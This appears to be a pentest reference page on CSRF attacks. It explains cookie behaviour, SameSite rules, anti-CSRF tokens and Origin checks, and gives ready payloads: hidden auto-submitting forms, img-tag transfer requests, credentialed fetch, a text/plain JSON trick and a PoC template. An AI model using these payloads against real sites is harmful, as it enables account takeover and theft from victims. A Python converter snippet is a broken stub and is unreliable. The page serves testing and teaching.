Skip to content

CSRF

CSRF abuses the fact that browsers automatically attach cookies to requests, regardless of which page issued the request. If evil.com makes a request to target.com/api/change-email, the victim’s target.com cookies tag along - and unless the target verifies “did the victim actually mean to do this” via an anti-CSRF token, the request succeeds in the victim’s name.

# 1. Find a state-changing request that uses only cookies for auth
# (no CSRF token, no SameSite=Strict cookie)
# 2. Auto-submit form attack (POST)
<form id=f action=http://target/api/change-email method=POST>
<input name=email [email protected]>
</form>
<script>f.submit()</script>
# 3. Image-tag attack (GET)
<img src="http://target/api/transfer?to=attacker&amount=10000">
# 4. Victim visits attacker page while logged in → state change happens

Success indicator: the action’s effect on the target - email changed, money moved, permission granted - happens to the victim’s account even though the victim never visited the target site to do it.

Cookies are origin-scoped: a cookie set by target.com is sent on every request to target.com, no matter which page made the request. A <form action="http://target.com/..."> on evil.com POSTs to target with the cookies attached. The target server sees an authenticated request and processes it. The victim sees nothing - at most a brief page redirect they might not even notice.

This is the entire premise. CSRF defenses (anti-CSRF tokens, SameSite cookies, double-submit cookies) all exist to add a check the server can apply that says “this request originated from a page on my own site,” because the cookie alone doesn’t prove that.

A request is CSRF-able when:

  1. The request changes server state (or accesses sensitive data - though defense usually focuses on state changes)
  2. The authentication for the request is automatic - cookies attached by the browser, HTTP Basic auth from password manager, certs, etc.
  3. The request’s parameters are predictable - the attacker can guess or fix the values
  4. No anti-CSRF check - no token, weak token, SameSite=Lax/None for the cookie, missing Origin/Referer check

When all four hold, the attacker crafts an HTML page that issues the request and gets the victim to visit it.

CSRF doesn’t let the attacker read the response. The victim’s browser fires the request and gets the response, but the attacker’s JavaScript on evil.com can’t see it because of the Same-Origin Policy (SOP). So CSRF is one-way:

OperationCSRF-effective
Change email / passwordYes (state change, no need to read response)
Transfer moneyYes
Add admin userYes
Delete accountYes
Read account balanceNo (attacker can’t see response)
Steal session cookie valueNo (attacker can’t read response) - use XSS instead

For reading data cross-origin, you need XSS (where your script runs in the target’s origin and SOP doesn’t restrict you).

When the state change is triggered by a GET request (poorly designed but historically common):

<img src="http://target.com/api/transfer?to=attacker&amount=10000" width=0 height=0>

The victim visits the attacker’s page; the <img> tag triggers a GET to the target URL; the target processes it. The image fails to load (no actual image returned) but the side effect happened.

Stealth tricks:

  • width=0 height=0 hides the broken-image icon
  • Place inside <div style="display:none"> to fully hide
  • Use a 1x1 transparent PNG response (if the target’s vulnerable endpoint allows it) to make the page look normal

When the state change is triggered by a POST:

<html>
<body onload="document.forms[0].submit()">
<form action="http://target.com/api/change-email" method="POST">
<input type="hidden" name="email" value="[email protected]">
<input type="hidden" name="confirm" value="[email protected]">
</form>
</body>
</html>

The <body onload> triggers the form submission as soon as the page loads. display:none is optional - the form fields are already hidden because they’re type="hidden".

Variants for stealth:

  • <iframe src="csrf-page.html" style="display:none"></iframe> - load the CSRF page in a hidden iframe on a “normal-looking” attacker site
  • Wrap in document.body.addEventListener('click', ...) to fire only on user interaction (avoid popup-blocker / autoplay restrictions in some contexts)

XHR / Fetch from attacker domain (rarely useful)

Section titled “XHR / Fetch from attacker domain (rarely useful)”
<script>
fetch('http://target.com/api/change-email', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
});
</script>

credentials: 'include' is the key - without it, fetch doesn’t send cookies cross-origin. With it, the browser sends target.com’s cookies along with the request.

Two limitations:

  1. CORS preflight - non-simple POSTs (any content-type besides application/x-www-form-urlencoded, multipart/form-data, or text/plain) trigger a CORS preflight OPTIONS request. The target’s response to OPTIONS must allow your origin or the actual request is never sent.
  2. SameSite cookies - cookies marked SameSite=Strict are not sent on cross-origin fetches even with credentials: 'include'. SameSite=Lax allows them only on top-level navigations (form submissions count; XHR doesn’t).

So XHR-based CSRF only works against targets that accept simple-form-encoded POSTs and have SameSite=None (or no SameSite, which is now Lax by browser default).

GET vs POST - what difference does it make

Section titled “GET vs POST - what difference does it make”

The HTTP spec says GET should be safe (no state change). Apps that violate this - using GET for state-changing actions - are easier CSRF targets because:

  • Image tag CSRF doesn’t require a separate attacker page (<img src="http://target/.../delete?id=42"> can be embedded anywhere)
  • No form submission needed
  • Works in places where attacker can inject HTML but not script (forum signature, profile bio)

POST is harder to exploit but only marginally - the auto-submit form pattern adds maybe 10 lines of HTML.

A target that uses GET for state changes is making a separate mistake (HTTP semantics violation) and the CSRF surface is a side effect of that. Reporting it should flag both issues.

In 2020, Chrome started defaulting cookies to SameSite=Lax. Other browsers followed. This dramatically reduced CSRF surface:

SameSiteCross-origin behavior
StrictCookies never sent cross-origin. CSRF completely blocked. Side effect: cookies aren’t sent when victim clicks a link from external site to target either - annoying UX.
Lax (default)Cookies sent on top-level navigations (clicking a link, form GET) but not on subresource requests (<img>, <iframe>, fetch). Blocks most CSRF.
NoneCookies sent on all cross-origin requests if Secure is also set. CSRF surface intact.

Effect on the three payloads above:

PayloadSameSite=StrictSameSite=LaxSameSite=None
Image GET (<img src>)BlockedBlocked (subresource)Works
Form POST (<form>) auto-submitBlockedBlocked (subresource - well, sort of)¹Works
XHR / fetch with credentialsBlockedBlocked (not top-level nav)Works

¹ The Lax/POST interaction is a common source of confusion. The exact rule: Lax allows cookies on top-level navigations that use safe methods (GET, HEAD). A top-level POST navigation (form submit at the top level, not in an iframe) does not send Lax cookies. So an auto-submit POST form in a top-level page where the victim explicitly visits is still blocked by Lax. Result: Lax effectively kills POST CSRF unless the cookie is None.

When the target uses default-modern cookie configuration (Lax by default, often Strict for sensitive cookies), classic cross-origin CSRF is largely dead. The attacker needs one of:

  • A target that explicitly sets SameSite=None; Secure (legacy compatibility, third-party iframes, etc.)
  • A target on the same site as a place the attacker can inject HTML - SameSite is about cross-site, not cross-origin. attacker.target.com and app.target.com are same-site.
  • An XSS on the target - XSS makes requests from the target’s origin, defeating SameSite entirely

This last is why XSS + CSRF chain is the modern attack pattern.

Even before SameSite, the canonical defense was a CSRF token: an unguessable random value tied to the user’s session, embedded in forms, verified server-side.

The pattern:

  1. User logs in, server stores a per-session CSRF token: csrf=R0ANDOM123ABC
  2. Server renders forms with a hidden field: <input type="hidden" name="csrf" value="R0ANDOM123ABC">
  3. User submits form; request includes both the cookie and the token
  4. Server checks: does the token match the session’s stored token? If not, reject.

Attacker can’t read the token from evil.com (SOP prevents that), so they can’t include it in their crafted request, so the server rejects.

Variants:

  • Per-request token - new token issued on every page load, invalidates prior tokens. Strongest. Requires careful session state.
  • Per-session token - one token for the entire session. More common, slightly weaker.
  • Double-submit cookie - token sent both as cookie and as form field; server checks they match. Doesn’t actually require server-side state. Vulnerable to cookie-fixing attacks but doesn’t need backend storage.
  • Encrypted/HMAC token - token is a HMAC of the session ID (or user ID) using a server secret. Stateless.
LocationOperator note
Hidden form fieldMost common. Visible in HTML source.
Custom HTTP header (X-CSRF-Token)Common for SPA / API. Browsers don’t auto-attach custom headers, so cross-origin XHR can’t forge them.
Cookie + matching headerDouble-submit cookie variant.
URL query parameterRare and discouraged (leaks in Referer, logs).
Body parameter in JSON POSTCommon in JSON APIs.

To find it: look at any state-changing form on the target. View source, find the hidden field. Common names: csrf, csrf_token, _token, authenticity_token (Rails), RequestVerificationToken (.NET), csrfmiddlewaretoken (Django), _csrf (Express), nonce (WordPress).

If no obvious token is in the form, check headers - many APIs send tokens as X-CSRF-Token or X-XSRF-TOKEN.

An alternative defense: server checks the Origin and/or Referer header on state-changing requests. If they don’t match the target’s origin, reject.

POST /api/change-email HTTP/1.1
Origin: https://evil.com ← server rejects: not its own origin
Referer: https://evil.com/csrf-page.html

Browsers don’t let JavaScript override Origin or Referer, so an attacker can’t fake them. But:

  • Some legitimate cases (privacy modes, some Firefox extensions) strip the Referer; if the app falls back to “allow if Referer absent,” that’s a bypass
  • Sometimes the regex for “matches our origin” is weak - target.com matches target.com.evil.com if the regex is .*target\.com.*

See CSRF Token Bypass for the bypass catalog.

A clean CSRF PoC has these parts:

  1. Minimal HTML - fits in a single small file, no external dependencies
  2. Self-submitting - fires automatically when the page loads
  3. Hidden - no visible content that would alert the victim
  4. Includes proof of effect - the demonstrated change is unambiguous (email changed to a value the report’s reader knows is yours)

Template:

<!DOCTYPE html>
<html>
<head><title>CSRF PoC</title></head>
<body onload="document.getElementById('f').submit()">
<form id="f" action="http://target.com/api/change-email" method="POST" style="display:none">
<input type="hidden" name="email" value="[email protected]">
<input type="hidden" name="confirm_email" value="[email protected]">
</form>
<p>Loading...</p>
</body>
</html>

Serve it:

Terminal window
python3 -m http.server 1337

Have the test victim (logged in to target) visit http://your-ip:1337/csrf.html. The form submits, the email changes, the report screenshot shows the changed email on the victim’s account.

Sometimes you need to include lots of fields. The trick is the Burp-captured request:

  1. Use Burp Proxy to capture the legitimate request (yourself, logged in, performing the action)
  2. Right-click in Proxy history → Engagement Tools → Generate CSRF PoC
  3. Burp produces the form HTML automatically

If Burp Community doesn’t have this feature available in your version, build it manually:

Terminal window
# A simple converter: take a Burp request, output an HTML form
cat burp_request.txt | python3 -c '
import sys, re
body = sys.stdin.read().split("\r\n\r\n", 1)[1] if "\r\n\r\n" in sys.stdin.read() else ""
# parse key=value pairs from body and emit form
'

In practice, Burp Pro’s auto-generator handles this; for community, view-source on the legitimate form is usually fine.

<!-- Wrong - & in values will be interpreted as field separator -->
<input name="data" value="a&b=c">
<!-- Right - HTML-encode -->
<input name="data" value="a&amp;b=c">

Special characters in form values need HTML entities (&amp;, &quot;, etc.) to survive the HTML parse before form submission.

In order of impact:

ActionWhy it matters
Change emailAccount takeover (password reset goes to attacker’s email)
Change passwordDirect account takeover
Change 2FA settingsDisable victim’s 2FA
Add SSH key to accountPersistent backdoor on dev platforms
Add admin userPrivilege escalation in apps with role management
Transfer fundsFinancial impact
Delete accountDenial-of-service against victim
Subscribe to plan / payFinancial damage to victim
Post content as victimReputation damage, phishing platform
Click “approve” on OAuth consentGrant attacker-controlled app access to victim’s data

For real engagements, change email is usually the highest-impact CSRF finding because it cleanly leads to full account takeover via the password reset chain.

Many modern apps use JSON instead of form-encoded bodies. JSON CSRF is harder for several reasons:

  1. Forms can’t natively POST JSON (no native form type for it)
  2. Custom Content-Type triggers CORS preflight
  3. Most modern APIs require Content-Type: application/json and reject form-encoded

Bypasses:

  • enctype="text/plain" - a form CAN submit text/plain content type. If the server’s JSON parser is lenient, you can craft a body that looks like JSON:

    <form action="http://target/api/change-email" method="POST" enctype="text/plain">
    <input name='{"email":"[email protected]","x":"' value='ignored"}'>
    </form>

    The form submits {"email":"[email protected]","x":"=ignored"} (with the trailing = from name=value) as text/plain. If the server JSON-parses anyway, it accepts.

  • Content-Type: application/x-www-form-urlencoded accepted - some servers don’t strictly enforce content-type matching to body format. Send a form-encoded body that happens to contain a JSON-looking string in a single field.

  • Flash-based CORS bypass - historically Flash could send arbitrary content-types cross-origin. Flash is dead; this no longer works.

In practice, JSON APIs that properly require application/json are immune to classic cross-origin CSRF.

TaskPattern
Find CSRF targetBurp → look for state-changing requests without anti-CSRF tokens
Image-tag GET CSRF<img src="http://target/.../action?param=value">
Auto-submit form POST<body onload=f.submit()><form id=f action=URL method=POST>...</form>
Iframe-embedded CSRF<iframe src="csrf-page.html" style="display:none">
XHR with credentialsfetch(URL, {method:'POST', credentials:'include', body:...})
Find CSRF token in pageView source, search csrf, _token, authenticity_token, nonce
Bypass categoriesToken weak / missing-allowed / cross-acct / null - see CSRF token bypass
enctype="text/plain" JSON trickForm with crafted name/value submitting a JSON-shaped string as text/plain
Burp PoC generatorRight-click request → Engagement Tools → Generate CSRF PoC (Pro)
SameSite checkInspect Set-Cookie for SameSite=; Strict/Lax block cross-site, None permits
Defenses D3-IAA